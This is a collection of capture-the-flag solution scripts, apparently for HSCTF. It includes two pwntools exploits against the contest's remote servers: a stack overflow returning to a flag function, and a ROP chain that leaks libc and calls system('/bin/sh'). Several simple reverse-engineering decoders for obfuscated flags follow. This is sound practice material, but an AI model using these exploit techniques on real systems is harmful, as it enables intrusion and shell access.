Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
from pwn import *
NUM_TO_RET = 0xd0 + 8
padding = b'A' * NUM_TO_RET
e = ELF("./boredom")
payload = flat(padding, 0x000000000040101a, e.symbols['flag'] , word_size=64)
#p = e.process()
p = remote('pwn.hsctf.com', 5002)
p.sendline(payload)
p.interactive()from pwn import *
NUM_TO_RET = 20
padding = b'A' * NUM_TO_RET
fakestack = 0x601000 + 0x700
e = ELF("./gotchi")
poprdi = 0x00000000004009f3 # pop rdi ; ret
poprsi = 0x00000000004009f1 # pop rsi ; pop r15 ; ret
#p = e.process()
p = remote('pwn.hsctf.com', 5005)
leak = flat(poprdi, e.got['puts'], e.plt['puts'],0x0000000000400285, 0x000000000040090b, word_size=64)
p.sendline(padding[:-8] + p64(fakestack) + leak)
p.recvuntil(b"!\n")
output = p.recv()[:-1] + b'\x00\x00'
puts = u64(output)
log.info(f"Puts address: {hex(puts)}")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("/home/kali/Tools/libc-database/libs/libc6_2.27-3ubuntu1_amd64/libc.so.6")
libcbase = puts - libc.symbols['puts']
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
#final = flat(poprdi, next(libc.search(b"/bin/sh\x00")), poprsi, 0, 0, 0x0000000000001b96, 0, libc.symbols['execve'], word_size=64)
final = flat(poprdi,next(libc.search(b"/bin/sh\x00")),0x0000000000400285, libc.symbols['system'], word_size=64)
p.sendline(padding[:-8] + p64(fakestack) + final)
p.interactive()key = [4,1,3,1,2,1,3,0,1,4,3,1,2,0,1,4,1,2,3,2,1,0,3]
indexes = [11,18,15,19,8,17,5,2,12,6,21,0,22,7,13,14,4,16,20,1,3,10,9]
enc = b"1dd3|y_3tttb5g`q]^dhn3j"
def detranspose(transposed):
dicto = dict(zip(indexes,transposed))
ans = []
for i in range(23):
ans.append(dicto[i])
return bytes(ans)
def solve(encrypted):
stage1 = bytes(b1 ^ b2 for b1,b2 in zip(encrypted,key))
return detranspose(stage1)
cur = enc
for _ in range(3):
cur = solve(cur)
print(cur)a = ["i","n","a","g","z","g","k","p","m",")","W","l","&","T","g","&","i","o"]
def rev_shift(a):
ret = ""
tmp = ""
for i in range(len(a)):
tmp = (ord(a[i]) + i)
ret += chr(tmp)
return ret
print(rev_shift(a))public class ctf_rev{
public static void main(String args[]){
String input = "iocj~lqwu2aw2au5y";
String ret = "";
for (int i = 0; i<input.length(); i++){
ret += (char)(input.charAt(i) - Integer.toString((int)input.charAt(i)) .length());
}
System.out.println(ret);
}}def fillmachine(inputIceCream):
output = [0 for _ in range(34)]
intGredients = [27, 120, 79, 80, 147,
154, 97, 8, 13, 46, 31, 54, 15, 112, 3,
464, 116, 58, 87, 120, 139, 75, 6, 182,
9, 153, 53, 7, 42, 23, 24, 159, 41, 110]
for i in range(34):
output[i] = inputIceCream[intGredients[i]]
return bytes(output)
def reversetoppings(inputcream):
output = [0 for _ in range(34)]
toppings = [4, 61, -8, -7, 58, 55,
-8, 49, 20, 65, -7, 54, -8, 66, -9, 69,
20, -9, -12, -4, 20, 5, 62, 3, -13, 66,
8, 3, 56, 47, -5, 13, 1, -7]
for index,element in enumerate(inputcream):
output[index] = element - toppings[index]
return bytes(output)
def revchoco(inputcream):
output = [1 for _ in range(34)]
for i in range(34):
if i % 2 == 0:
if i > 0:
output[i - 2] = inputcream[i]
else:
output[33] = inputcream[i]
else:
if i < 32:
output[i + 2] = inputcream[i]
else:
output[1] = inputcream[i]
return bytes(output)
def revvanilla(inputcream):
output = [0 for _ in range(34)]
for i in range(34):
if i % 2 == 0:
output[i] = inputcream[i] - 1
else:
output[i] = inputcream[i] + 1
return bytes(output)
def revberry(inputcream):
output = [0 for _ in range(34)]
for i in range(34):
output[34 - i - 1] = inputcream[i]
return bytes(output)
target = fillmachine(open("manual.txt", "rb").read())
print(target)
stage1 = reversetoppings(target)
print(stage1)
stage2 = revchoco(stage1)
print(stage2)
stage3 = revvanilla(stage2)
print(stage3)
flag = revberry(stage3)
print(flag)